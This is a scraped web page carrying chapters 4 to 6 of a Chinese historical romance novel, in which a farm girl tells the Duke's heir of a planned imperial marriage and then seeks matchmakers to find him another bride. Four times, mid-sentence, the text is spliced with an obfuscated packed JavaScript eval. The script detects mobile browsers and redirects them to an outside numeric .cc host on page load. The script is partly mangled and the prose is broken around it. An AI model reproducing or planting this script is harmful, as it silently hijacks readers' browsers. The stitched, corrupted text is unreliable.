d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234171|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘金眉却很得意,看向定国公府的护卫,意思显而易见,这人都承认她是自己口中卑贱偷东西的农女了,该把她赶出去了吧。 可是,罗承武并不搭理她,而是一副若有所思的模样。 他在疑惑,小丫头开口的时候,似乎有一种意味不明的气势。怎么描述呢?他似乎在瑾姑姑的身上感受过,瑾姑姑正是宫里崔皇后的心腹…… “快把她赶走啊!”刘金眉按捺不住急性子,厉声高喝。 “放肆!崔家门前岂容人指手画脚。”罗承武被打断思绪,不耐烦地拔出了佩刀。 薛含桃眼睁睁地望着脸黑的护卫凶狠地将刘县令一家驱离,转过身往里走,唇角小小地弯了一下。 是啊,这是在京城,不是在丰县,刘金眉不能再用身份害她了。 “我没有偷过东西,是她诬陷我的,所以她看见我好好的才生气。”走在定国公府中,薛含桃低声同前头的人搭话。 “小娘子看起来不是那等人。”那人完全不当回事,看了她一眼笑笑。 他多少年没见过这么老实巴交的小丫头了。瞧瞧,背着这么沉的背篓愣是一声不吭。说她偷东西,谁信呐。 薛含桃得到肯定,心情又欢快两分,摇摇头甩去鼻尖的汗珠,咧开了嘴巴笑,她本有些发白的小脸红润润的。 一时竟忘记了即将面见崔世子的紧张。 - 因为方振跟随世子住在东院,薛含桃又是生人,故而护卫领着她往东院去,登时引来了一些人暗带探究的目光。 “府里又采买丫头了?”望仙阁上,崔家四郎,崔季徽,一手拎着酒杯,一手扶着栏杆,瞅见下面的人影哼笑出声。 “奴没有听说采买,郎君,那应该不是买回来的小婢。”身边人柔声回道。 “不是婢女,那难不成是我们崔世子的爱妾?啧啧,原来他喜欢又丑又瘦的。”崔四郎啜了一口酒,放声大笑起来。 笑容里面是故意为之的嘲弄。 他笑,身边人扯着唇可不敢笑,怎么可能?世子爷何等人物,天人之姿,能与明月争辉,下头那丑丫头到东院打扫都不够格。 至今,还未有女子能陪伴在世子的身边。 “仿佛听到了有人在笑。”越往里走,薛含桃的心跳声就越激烈,她僵着脑袋不敢往旁边看。 虽然皇宫都去过了,但定国公府还是给她一种不敢大声说话的感觉。 她小心翼翼地跟着人走过一段又一段路,最后护卫将她带到一个容貌俊丽的侍女面前就离去了。 “你就是薛娘子吧,方管事正陪着世子在书房,你可在此茶间暂且等候。” 薛含桃抬头看去,面前的女子穿着月粉色的罗裙,发间步摇优美,正一脸和善地望着她,没有因为薛含桃简陋的穿戴而轻视。 想来她应该是这里重要的人吧。 “其实,我……要见的人是世子,我有一件十分重要的事,必须,必须要亲自告诉他。”薛含桃心脏砰砰地跳,她眼巴巴地凝视貌美的侍女,期待她能为自己通报。 玉蘅脸上完美无瑕的笑容逐渐淡去,断然拒绝,“这,恐怕不行。” “如果我说,我可能会成为世子的未婚妻呢?” 薛含桃抿抿唇,忐忑不已地开口。 4. 第四章 她说自己是世子的未婚妻? 玉蘅觉得自己听到了一声梦呓,荒唐到了极致,茶间的侍女包括她都忍不住扑哧一笑。 面前的小姑娘容貌平平,有些瘦,还有些黑,除了一双明亮的仿佛会说话的眼睛,其余再无可取之处,放在人群中极不起眼的那一种。 莫说世子现下并无定下婚事,便是定下,世子的未婚妻无论如何也不可能是这般普通之人。 “薛小娘子,桌上的茶点有芙蓉糕,有饵饼,还有蜜渍果子,你先坐下来喝口茶吧。”玉蘅是世子身边的侍女,时刻都不会失了体面,她礼貌地倒了一杯茶水,示意薛含桃坐下等待。 “我没有说谎……”薛含桃看出她根本不信自己,小脸因为难为情涨的通红,原本要说自己的堂姐是宫里的贵妃娘娘,话到一半她眉眼低落,安静下来。 昨日之前,她自己也不会相信的,做梦都不敢想。 “谢谢姐姐,我还不渴。”她动作很小地舔了一下唇瓣,拘谨坐在一边的圆凳子上。 许多的经历教给薛含桃,她必须足够耐心与谨慎。 等到方大哥就好。 - 书房,方振正拿着一本游记在念。 干巴巴的声调平缓没有起伏,很容易让人昏昏欲睡。但方振却知道,迎窗半躺的男子比这世间任何一个人都要清醒。 书房的窗外种着几棵早桂,点点的黄色小花暖意融融,可香气一飘进来,却又无声无息地结了冰。 “心不静,就别念了。”躺椅处传来的声音低沉,似是浸了月光,微凉。 “郎君恕罪。”方振轻手轻脚地合上书放回原位,默默退出房门。 伸手关门的时候瞥到冒着寒气的冰盆,他似想到什么,斟酌一下开口,“郎君,冰盆酷烈,您不如饮些解暑的茶汤?” “不必。” “不久前,我收到门房派人送来的口信,小桃背着茶汤来看我。她做的薄荷金银花的茶饮很能解暑。”方振想到那个乖巧懂事又细心的小姑娘,叹了一口气。 其实,他一直希望她能留在世子身边做一个侍女,不然她孤身一人在京城想必十分艰难。 可惜,她拒绝了,笑着说还是想去投奔堂姐。 如今她能找到国公府,想来已经和她那个远嫁京城的堂姐团聚了。 方振暗道。 “是她?”崔伯翀语气淡漠,眼前浮现出一个明明看起来虚弱地快要死掉却总是生机奕奕的身影,心头突生兴味,“带她来见我。” 他想看看,她的那颗心是越来越好还是已经死了。 闻言,方振倏然一惊,世子怎么要见小桃,难道还是因为小桃拒绝了到世子身边做侍女的事,世子在小桃离开那日脸色极其冷淡……他想问话到嘴边又咽了回去。 世子行事,最不喜他人过问。 “是。”方振带着疑虑,离开了书房。 走近茶间,从门内看到一团瘦小的身影,他笑着喊了一句,“小桃。” “方大哥。”薛含桃听到熟悉可亲的声音,腾地一下站起身,眼睛亮晶晶的。 “比从前,胖了一些。”方振上下打量了一番笑容雀跃的少女,见她长了肉,气色也不错,心中安慰。 想到第一次见面的时候,小姑娘瘦的皮包骨头,和一只杂毛的大狗依偎在一起,若不是还有轻微的呼吸,方振险些以为人被活活饿死了。 “嗯,我现在每天每顿都吃的很多。”薛含桃有些不好意思,以前白吃了方大哥不少东西。 “我给方大哥带了茶饮,还有些鱼丸,新鲜做的,放在陶罐里面应该还热着。”她想到方大哥对她的好,连忙俯身去抱自己的背篓,同时快速地瞄了一眼陶罐旁边的一个荷包。 里面装着不多不少十两银子,是方振之前塞给她的。 靠着这十两银子,薛含桃带着阿凶在京城落了脚,如今她手里有钱了,自然要还回来。 “这些先放下吧,”方振阻止了小姑娘着急的举动,语气微顿,“世子要见你,小桃,你随我去书房。” “哦,啊?世子要见我……好,好的。”薛含桃的腰还没直起来,听到方大哥的话,呼吸都停了。 她很紧张,可是想到自己今日绕来绕去就是为了见世子,目的轻易达到又开始惊喜。 重重吸了一口气,她赶紧跟在方振的身边。 茶间的侍女们对视一眼,都看向玉蘅。 玉蘅神色微变,竟莫名记起了方才薛含桃说过的一句话,她们皆以为那是荒唐之言,难道? *** 茶间距离书房有几十步路,薛含桃嗅到了一股扑鼻的香气,有些甜,像是花香,她的心渐渐安定下来。 在她心里,世子是世间少有的大善人,他不仅救了她和阿凶,还妥善地安置了州县的灾民,给了他们生的希望。 他是一个再好不过的人,薛含桃永远都感激他。 “小桃,记得不要惹怒世子。”方振轻轻敲了下书房的门,低声叮嘱。 “我知道,方大哥说过很多次了。”薛含桃不觉得这是一种慎重的提醒,弯着眸笑笑,世子的人那么温柔,怎么会平白无故地动怒。 以前,她边养伤边报恩……的时候,世子就是很好很好啊,除了有一点点的挑剔,她无论做什么他都不曾责怪过她,有一次她背书不小心吵醒了世子,世子不仅没有生气还把亲手写的书稿送给了她。 看了一眼满脸放心的小姑娘,方振欲言又止,好吧,之前在樊州赈灾时也是如此,因为世子救过她,她就把世子当作了一个完美无瑕的玉人。 但其实,世子的脾性……喜怒不定,冷漠又刻薄,尤其在汴州那一战后,越来越甚。 --- “进来。” 慢条斯理的声调从门内传出,方振立刻收回所有的思绪,带着人进去。 薛含桃屏紧气息,跟在他身后踏进房门,然后脚步落地的瞬间,她的身体控制不住地打了一个哆嗦。 房间里面,好冷啊。 薛含桃一眼看到了整整齐齐的六个冰盆,呆了呆,又很快释然,世子还是那么不喜欢暑意啊。 六个冰盆,真的很冷! 不过,世子应该一点不觉得冷,他转身面向她,身上仅穿了一件暗银色的宽袖丝袍,半躺着的姿态优美又散漫。 薛含桃的眼睛飞快地盯向地面,不敢与他对视,那是一张恍若神明的脸,她每每望见都觉得自己已不在人间。 心神皆迷。 “离开这些天,你看起来,嗯……有了一些好的变化。”崔伯翀抬眼,漫不经心地扫向被领到他面前的少女,眉梢生起的一点兴致顷刻消失。 “那只杂毛的狗呢?死了吗?”他随口又问,问到了大黑狗阿凶。 “没有死,阿凶在家里呢,果儿姐姐看着它,它的腿虽然快要好全了,但还是要小心着。”薛含桃使劲摇头,赶紧开口解释。 她想,世子一定是担心阿凶的腿伤,所以才问的。 家,果儿姐姐,多么温情的字眼儿。 男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234172|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脸上的表情微冷,“看来你已经寻到了堂姐。” 还有了家,眼中的光彩比之前都要闪耀啊。 “嗯!我找到了阿姐,不过,果儿姐姐不是我的堂姐。”薛含桃抬起眼皮,悄悄地瞥他的反应,“其实,我的堂姐又改嫁了一户人家,前两日平安生下了一个小外甥。” 小外甥是皇子,为了巩固他的地位,陛下和堂姐要把她嫁进定国公府。 “哦,是喜事。”崔伯翀阖上了眼睛不再看她,淡声吩咐方振挑两件贺礼。 这便是要送人离开的意思了。方振会意的同时也松了一口气,他还以为世子有别的事,好在只是问两句话而已。 薛含桃一听世子还要让人为她准备贺礼更加羞愧了,握紧手心眼一闭心一横,道出了真相。 “我的阿姐就是宫里的贵妃娘娘,她生下小皇子后,昨日我进宫看望她,她和我说,陛下要为我赐婚。” “赐婚对象是定国公世子,也就是您!” 她急声说完,窘迫不已,恨不得当即找个地洞钻进去,脑袋死死地垂在胸前,一副自行惭秽的模样。 屋中的寂静令人心慌气短。 方振很快消化完了她的两句话,震惊地失声,小姑娘要投奔的堂姐是薛贵妃,陛下和薛贵妃还打算把她赐婚给世子! “郎君,薛妃的确是再嫁之身,她的前夫一家祖籍也是樊州。如果……小桃所言为真,那陛下应该过两日就会宣郎君您进宫。” 方振神色凝重,看薛含桃的眼神微妙地起了变化,据他所知,小桃家中三代亲族都已经丧生,那也就意味着薛贵妃只剩下小桃一个亲人。 小皇子没有外家,陛下有此打算完全在情理之中。可是,算计到世子身上……方振心中一凛,又是一声叹息,暗暗打探世子的脸色。 - “哒!” 崔伯翀终于有了动作。 他站起身,不急不慢地走到了少女的身前,伸出一只浸染了凉意的手,捏住她的下巴,将她的整张脸暴露在自己的目光之下。 一寸寸打量。 冷白的手指触摸到肌肤的那一瞬,薛含桃觉得寒冷侵入了骨髓。 她微微一颤,仰视近在咫尺的神明,第一次看清他的眼底有自己的影子。 “世子,圣旨未下就还有……”薛含桃的话吞吞吐吐地说了半截,神晕目眩,因为有另外一只骨节坚硬的大手自她的额头往下,摸过她的眼尾、鼻梁,再到脸颊和唇瓣之上。 他摸的很仔细,神色也是前所未有的专注,像是第一次认识这个被他亲自救过又在他身边报恩过一段时间的女子。 而他的举动下,不仅薛含桃快晕了,方振也是一脸地不可思议。 修长的手指悠悠拂过少女的唇,他竟然在世子的脸上看到了几分浅浅的温柔。 “亏、了。” 薛含桃将将失去意识的前夕,听到了从男人薄唇中吐出的两个字,她陡然清醒,回归了无情的现实。 一张小脸红成了猴子的屁、股。 “我知道自己配不上世子万分之一,所以才找借口到国公府将此事告诉世子。世子于我有恩,我不会害世子被人耻笑。我保证,这桩婚事不会成的。” 她尴尬还有些丧气地扯了扯嘴角,往后使劲退了一步。 然后没退开,男人的指骨还牢牢地扣在她的下颌那里。 崔伯翀轻嗤,接着又笑了起来,笑容旖丽,笑声刻薄,“原来是真的笨。” 不仅听不懂他的话,而且自不量力。 5. 第五章 “在圣旨颁下之前,世子与两情相悦的女子定下婚事就好了。至于阿姐那里,我会很努力地保护小皇子,不让阿姐失望。” 知道自己退不开,薛含桃就索性不再挣扎了。她尽力放松自己的身体,笨拙地仰起头迎合。 几乎面对面地站在崔世子跟前,她才不合时宜地发现原来恩人这么高啊。 她踮起脚才只到他的肩膀那里。 崔伯翀垂头,对上了一双满满写着真诚的大眼睛,明明才被他嘲笑了蠢笨,可阴霾仿佛从未在她的脸上停留过。 “世子那么好,有许多许多小娘子爱慕喜欢呢。” “世子将来的夫人肯定也和世子一样好,她生的白皙似雪,面容娇美如花瓣,啊,还长着一颗玲珑心,秀外慧中,才情横溢。” 薛含桃心想,每一条都和她沾不上一分关系,她的脸和手不白也不嫩,长的更不好看,又只会写字和做饭。 她怎么配得上在她心目中仿佛神明一般的恩人呢?所以,她不好意思地弯着唇角笑笑,小声说世子如果成婚忙不过来,她可以帮忙干活。 别看她现在还是很瘦,可她也有一些力气呢。 她的话音落下,毫无预料地,崔世子松开了扣着她下颌的手指。 只剩下脚尖的支撑点,薛含桃始料未及,身体狠狠踉跄了一下才站稳。方振下意识去扶她,她傻乎乎地摆了摆手。 “好啊,这件事就交给你了。小……桃子,你要在三日内帮本世子寻到一位两情相悦的美娇娘,再与我们商、定、婚、事。” 崔伯翀轻轻地笑着,语气平缓,正是薛含桃眼中的端方公子形象,“如果做不到,那就没办法了。” 谁让他曾经救过她的命呢?救命的恩情,最终也要用一条命来抵。 崔伯翀的眼底渐渐蒙上一层阴翳,他想起,自己曾在典籍里面看到的一条久远的记载。 “枯死的灵魂不甘,需以人牲陪葬,安之。” --- 薛含桃的身上骤然被托负重任,背上的背篓是空的,可她整个人快要被压塌了。 呆愣愣地离开定国公府,她走在回去的路上,仿若游魂。 她只是一个才到京城不久的农女啊,何德何能为闻名天下的崔世子寻婚,到大户人家说亲的时候她会被人毫不犹豫地赶出去吧。 就像今日那个脸黑的护卫大人驱赶刘县令一家。 虽然方大哥送她出府的时候安慰她,世子只是在和她开玩笑,让她放心,然而,薛含桃做不到心安理得。因为,事情有一半的干系在她身上。 如果她不来京城,而是和其他人一样到隔壁没有受灾的州县安置;如果她不是非要找到堂姐,而是在赁来的一间小屋子里面安静地过活……就不会给世子带来那么大的困扰。 薛含桃心事重重地往小院去,压根没注意到就在她的身后不远处,有一个小厮模样的男子正不近不远地跟着她。 走到了家门前的一条街,她被人叫住了。 “是薛娘子啊,这是打哪儿回来?我见你一大早就出门了。” 薛含桃闻声一看,唤住她的人穿一件靛蓝色的襦衣,头发梳的油光水滑,圆润的脸上带笑,正是住在隔壁的封大娘子。 搬来此处半月,她与附近的几户人家说过几次话,这个封大娘子态度是最为亲切的一个。 “我去北城探望一位亲戚,他家住的远,所以很早就去了。封大嫂,没吵到你们吧?”薛含桃记得早晨天刚亮时阿凶嚎的那一声,有些歉意。 “嗨,我和当家的要看铺子,起的比鸡早睡的比狗晚,说什么吵不吵的。这大热的天,来来来,进来吃口茶。” 封大娘子家开着一间糕点铺子,每日售卖些市面上常见的点心,因为价格适宜用料扎实,生意还不错。只是这时天热少有人出门,她就闲了下来。 刚坐着吃块模样做坏的点心,她偏头一瞅,看到了闷头走路的小姑娘。想起昨日街上传开的一些话,封大娘子眼珠一转,拍拍身上的糕点碎屑,笑眯眯地开了口。 薛含桃兴致不高,本想婉拒,鼻子嗅到食物的香气,她脚步一顿走了进来。 封大嫂家的糕点铺子里卖有一种枣泥糕,又软又甜,果儿姐姐和阿凶都喜欢吃,今日离开这许久,不如买些枣泥糕回去……而且,她舔、舔唇瓣,自己的肚子也在咕咕叫了。 “薛娘子快坐,刚煮的茶汤,你闻闻香不香。”封大娘子热情地请她喝茶,薛含桃道了谢,低头看手里的茶汤浑浊不清,她放心地饮了一口。 “好喝。”薛含桃出声称赞,从身上摸出一角小的可怜的银子,买了两斤热气腾腾的枣泥糕。 封大娘子见她一买就是两斤,笑的和朵花似的,一边吩咐伙计多称两块,一边拉住了薛含桃的手。 “封大嫂,还有事吗?”薛含桃不太习惯,抽出手来。 “薛娘子,昨日你门前的马车是来了两趟吧?我瞅着那车很是气派嘞,廖家娘子说只有官老爷家里才配……言你有一个做官的姐夫,我也说薛娘子你看着知礼,通身有福气。偏街头那个老虔婆看你年纪小,满嘴胡咧咧,说你在家里不知干什么勾当。真是气人!”封大娘子并不在意,絮絮叨叨地说了一大通。 薛含桃笑笑,回道,“她家的房子住不下,我就没租。” 当初中人带她看了两处房子,一处是她现在居住的独门小院,一处就是街头的宅子隔来的两间小屋。封大娘子口中的老虔婆就是街头房主人的亲娘,姓郑。 “怪不得,原是没租她家的房。幸亏你没租,你不知道那老太婆有多抠门,家门前的路都不准租客过,说是得给过路钱。想钱想疯了。”封大娘子骂道,眼神却不住在薛含桃的身上打量。 比起郑婆子家的两间房,独门小院当然更好,可是每月的租金也贵,本来街坊们都以为会住进去一大家子,可没想到两个姑娘一只狗搬了进去。 京城居大不易,像是封大娘子这等有铺子又有房的人家已经算是殷实了,比上不足比下绰绰有余,这些人看人就格外地利。 两个年轻的小姑娘身边没有长辈,果儿尚体面一些,薛含桃却是一副穷酸的打扮,住进来第一天不少人就在暗地里议论,猜测她们是什么身份。 有人开口询问,薛含桃老实,回答自己是从樊州逃难来的,京城有个姐姐依靠,眼下做些小活计。 众人就把果儿当作了她的姐姐,又用意味不明的目光看向果儿。做的是姑娘打扮,又能拿出钱租这么一处房,莫非? 所幸果儿是个脾气大的,见不惯这些人的揣测,一脸倨傲地否认,“我哪里是娘子的亲姐姐,我家夫人将我派来,命我贴身照顾娘子,谁敢欺负我家娘子,我扯烂他的嘴!告到官府都不怕!” ……果儿态度硬气,身份又只是一个侍女,众人心里就怀疑薛娘子的姐姐是个官家夫人,尤其昨日停留的那辆马车,十分华丽,印证了她们的猜想。 不过,封大娘子还想亲自探一探。 “照我说,郑婆子若还敢瞎说,你不必和她客气,着你姐姐派个人,索性把她家砸了。” 薛含桃不接这茬,她抿唇,语气感激,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234173|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢大嫂仗义执言,若有下次,我一定同她理论。” 话罢,她便抬脚欲走。 封大娘子再次拉住她,迟疑着说了另外一件事,“薛妹妹,你先别走,其实还有一个人昨日提起你。隔了一条巷子的王牙媪你可识得?” 听到一个陌生的名字,薛含桃迷惑摇头。 “你年纪尚小,不知道也正常。牙媪便是与人说亲的,八成有人看中你了。”封大娘子暗道,更应该说看中你背后的那个官夫人姐姐。 那个叫果儿的侍女每日又买吃的又买喝的,她们都看着,花费不少。 “与人说亲……”薛含桃眼眸微微睁大,不再着急走了。 她羞涩地抿了下唇,眼睛亮亮地看向封大娘子,“封大嫂,这种事我确实不了解。您能仔细跟我说说京城的牙媪吗?如果,说亲的人家是高门大户,该寻谁啊?” “大户人家?薛妹妹,这你就问对人了。像我们寻常人家说亲,寻街坊间的牙媪,便是第三等;若是大老爷家里,就得找二等媒氏,这些人有官府记册,更加体面。” 薛含桃了然地点点头,有了三等二等,那定然还有第一等。世子的婚事,绝对不能差了去。 “第一等,封大嫂识得吗?”她面带期待地盯着人,如果找到厉害的一等媒人,三天之内为世子寻到一位两情相悦的美娇娘,大概有可能吧? 封大娘子倒吸了一口凉气,嗬,一等的官媒,那可是专为朝中的大相公们甚至伯府公府等勋贵人家服务的,身上还有官职! “薛妹妹说笑了,我这不过升斗小民,哪里能识得官媒?不过,同为一个行当又都在京城,王牙媪或许识得。” …… 薛含桃将枣泥糕放进背篓里面,心满意足地离开了封家的糕点铺子。 她前脚刚走,后脚一个男子就进了糕点铺子。 --- 定国公府,东院。 罗承武一字不漏地交代了刘家父女献书的始末,那本《诗经》便很快呈到了“主人”的面前。 “关关雎鸠在河之洲,窈窕淑女君子好逑。笔意含情,周转有度,不错,可惜差一点就被骗过去了。”崔伯翀翻开一页书轻笑,然后,轻飘飘地抬手一挥。 薄薄的书册砸在身上,罗承武遭受重击闷哼一声,跪倒在地。 他没有开口辩解,径直请罪,同时心里在庆幸自己没有放人进府。 也是他疏忽了,竟然真的相信了那死胖子的鬼话! “不过,你的眼睛也不是全瞎了。下去吧。” 正当罗承武忐忑自己要接受何等惩罚的时候,世子优雅地端起了一只瓷杯。 玉白色,飘散着雾蒙蒙的热气,在寒如冰窟的房间内格格不入。 罗承武悄无声息地退了出去。 “郎君,解暑的茶饮还是小桃做的最合您的心意,我闻着这香气都觉得精神多了。”人离开后,方振犹豫再三,终于开口,“小桃说的那件事,不知郎君打算如何向陛下拒绝?” 这几年数不尽的人想要做亲把女儿侄女外甥女等嫁给世子,而世子今年二十有三,东院至今没有进过一个女人。 陛下虽要赐婚,可方振从来不认为这件事能成。方振知道世子有太多的手段和方法应对,只是他不希望小桃因此受到伤害。 尽管与小姑娘相处的时间不算长。 “不打算。” 崔伯翀的声音很轻,指骨摩挲着瓷杯,语气温和又残忍。 “她没有选择,陛下送她进来陪葬,可是等着继承我的遗产呢。” 6. 第六章 薛含桃坐在镜前,左右挪挪屁、股,浑身地不自在。 她小心翼翼地触碰袖子上的金线,在果儿看过来的时候,指尖飞快地缩了回去。 “好了,果然还是得装扮,娘子现在才像是贵妃娘娘的妹妹。”果儿望着镜子里面的小美人,满意地拍了拍手。 黑一点不要紧,多敷点粉就白了,再描一对细细的柳叶眉,点上鲜艳的胭脂,看上去就很像样了。 “这样真的不会叫人怀疑了吗?”薛含桃纠结,镜子里面的人也跟着她做同样的动作,肢体僵硬。 “不会,娘子把心放进肚子里,我这可是宫里的手艺。”果儿自信满满,她的手艺是胡姑姑都笑着夸过的,说是看上去喜庆。 “那……好吧。”薛含桃再看一眼,心里还是觉得很怪,她的脸太白,唇上的胭脂又太红,好似……好似戏文中横死的女鬼。 不过女鬼都是穿素白色的衣服,她稍稍垂下头,自己身上是阿姐赏赐的新衣,织金绢纱上衫,散花如意长裙,一看就珍贵非凡。 有些枯黄的头发也不再是用一根简单的红绳绑起来了,果儿为她梳了一个灵动的垂挂髻,两边簪上精致的珠花,嗯,不打量她的脸的话,很漂亮。 脸上又蒙上一层面纱,薛含桃低头同相依为命多年的大黑狗说话。 “阿凶,你在家里要乖乖的,我和果儿姐姐很快就回来了,晚上给你煮你最爱吃的肉骨头。” “呜。” 大黑狗支起上肢,舌头舔了舔她的手背,眼神带着浓浓的安抚意味。 薛含桃心头的沉重微缓,朝着镜子里面陌生的自己扬了扬唇。 她在心中说道,没什么可怕的,曾经的她连死亡都撑过去了。 - 两人坐上租来的马车,踌躇不安的人反而是果儿。 “娘子,我们自己去打听是不是不太好啊?其实,不如让娘娘……”果儿的话说到一半被打断了。 薛含桃摇摇头,掩下心头的几分愧疚,“阿姐才生下小外甥没几日,要静养补身,不能再为我的事费神。阿姐说要为我找一户好人家,我先去找官媒了解,到时就可以让阿姐省心。” 她昨日从定国公府回来后,告诉果儿薛贵妃有意为她筹办婚事,果儿并未怀疑。然后她又说自己想先找官媒了解京城适龄的未婚郎君,果儿今日便帮着她打扮,和她一起去拜访隔壁巷子的王牙媪。 明面上为了自己打听年轻郎君,可实际上薛含桃是为了替自己的救命恩人崔世子寻得一位两情相悦的美娇娘。 她初来乍到身份低微对京城一无所知,官媒就是她打听消息最合适的渠道。 果儿姐姐虽然身为宫里的人也定然知晓许多,但她毕竟是阿姐薛贵妃的人,薛含桃不能让她察觉自己的意图。 她知道这么做会辜负阿姐的好意,然而,不配就是不配,薛含桃实在不能昧着良心“玷污”救命恩人。 阿姐对她的好她定会报答,可嫁给崔世子,不行。 “娘子说的有理,我们先有准备,以后才不会被一些纨绔蒙蔽。”果儿深以为然,贵妃娘娘久在宫中,派人去打探还不如她们亲自去。 - 西城,一处两进深的庭院内。 宋熹陪坐下首,听着刘县令告诫他在国子监应该如何如何行事,眼中闪过一分极浅的不耐烦。 若非为了那个监生的名额,他不会主动认刘文保一个县令为座师。 “宋熹,这些话你都听明白了吗?”刘县令捋了捋颌下的几根胡须,语气威严。 “老师您的教导,熹时刻铭记于心。”青年当即起身,拱手深深作揖。 “好,孺子可教!”刘县令看了人一眼,心里对他的出身虽还是不怎么满意,但觉得这么短的时间他能和邱侍郎的儿子攀上关系,也不是不能松口他和女儿刘金眉的婚事。 毕竟,女儿喜欢他,又实在没有别的出路。 “老师,邱兄说有时间想到家中做客,您看哪一日合适?”宋熹装作没发现刘县令衡量的视线,含笑问道。 “你这孩子,怎么不早说邱公子要来做客。自是哪日都可以。”刘县令当即激动出声。 …… 宋熹刚走,刘金眉就迫不及待地从房间外头跑了进来,抱怨刘县令为何不提自己和宋熹的婚事。 “他现在是国子监的监生,和吏部侍郎的儿子称兄道弟,难道还不能娶我吗?” 刘县令一脸不悦,呵斥女儿性子急躁,“你倒还敢说,宋熹身上是有婚约的。” “宋熹早和那个野丫头退婚了。”刘金眉不以为意,那个野丫头虽然没有如她所愿被关到饿死,但她能摁住人一次就能摁住第二次,“爹你不是派人跟去看了吗?她要是真的有靠山怎么还巴巴地住着赁来的房子。她能骗得了她隔壁的几个商妇难道还能骗我们,她那个姐姐嫁的不过是个卑贱的行商之子。” 刘县令皱眉,他在意的不是那丫头的姐姐,而是定国公府护卫口中的方爷,一个父母双亡的乡野丫头怎么和定国公府的人扯上关系的。 他现在靠着和崔世子可怜的一点接触诓住了吏部侍郎之子,可不能有任何闪失。大周朝向来重文轻武,丰县救灾不利,他仅仅是被免职,只要把关系活动好了,不愁再到下一个地方做他的父母官。 “爹若实在想知道,不若就把那个野丫头抓来一问。”刘金眉认定了薛含桃在骗人,无所顾忌。 “不可!还是让宋熹去问她吧,问清楚了我们才好行事。”刘县令心道,若她口中的方爷本事不错,就让女儿赔罪拉拢那个野丫头,若确实在骗人,他何必花心思在一个孤女身上。 *** 屋内,茶水温凉,人已经走了。 王牙媪看向桌上描金的匣子,犹豫再三,忍不住还是打开了。 一匹薄如蚕翼的云霞锦安静地躺在里面,她呼吸一滞,急忙叫来自己的亲生女儿为她找来一身最贵重的新衣。 “娘,怎么又要换衣服?”王牙媪的女儿不解,方才见客换的衣服够体面了啊。 “女儿你不知,刚才那位小娘子可是位贵人啊,我一定得把贵人托负的事情办好,日后少不得好处。”王牙媪喜气洋洋,她与人拉媒保纤多年当然见过几分世面,认出上门的小娘子和她的侍女皆穿戴不凡。 如今又有一匹堪为贡品的霞锦作证,她已经认定薛含桃必出身高门。 高门的小娘子惦记未来的夫君人选,急着打听情况,私下蒙着面偷偷找到她一个普普通通的三等媒人这里,完全说得通。 接下来就是她王牙媪展现能耐的时候。皇帝尚有几门穷亲戚,她往上扒拉扒拉也是能和扈姑姑攀一攀关系的。 扈姑姑正是大名鼎鼎的一等官媒。 王牙媪抱着匣子急急忙忙地出了门,就在她家不远处的一个拐角处,薛含桃和果儿都松一口气。 成了!接下来就等着明日从这个王牙媪嘴里听到她们想要知道的消息了。 “果儿姐姐,时辰还早,我们再去一趟慈恩寺吧,我听别人说那里的平安符很灵验。我想求一个,送到宫里给小皇子用。” 薛含桃盼着小皇子平平安安,不仅要求平安符,还要亲手编织一条五彩绳。这是丰县的习俗,五彩绳系在新生儿的襁褓上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234174|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以辟邪。 果儿当然不会拒绝,她们两人便又坐车往慈恩寺去。 于是,傍晚,在宫门落钥之前,柔仪殿的胡姑姑拿到了一个绣着福字的小包裹。 轻飘飘的,布料摸着还行,针脚十分粗糙。 胡姑姑无可奈何地叹了一口气,人都说本性难移果然是这个理儿,明明贵妃娘娘已经赏赐下那么多东西,那位小娘子送进宫来的还是如此的不体面。 不过心里这么想,面上她没有表现出来。毕竟再穷酸,那也是薛贵妃的妹妹。 胡茵儿走进内殿,看见薛贵妃躺卧在榻上,侧身正在看襁褓里的小皇子,她俯身行礼,将手里的小包裹呈上。 “这是薛娘子派人送进来的,说是要给皇子殿下。娘娘,是否让奴婢打开验一验?” 薛贵妃淡淡嗯了一声,“打开吧。” 关乎小皇子,凡事都不可马虎。薛贵妃点头后,胡茵儿立刻让医术精通的医女上前验看。 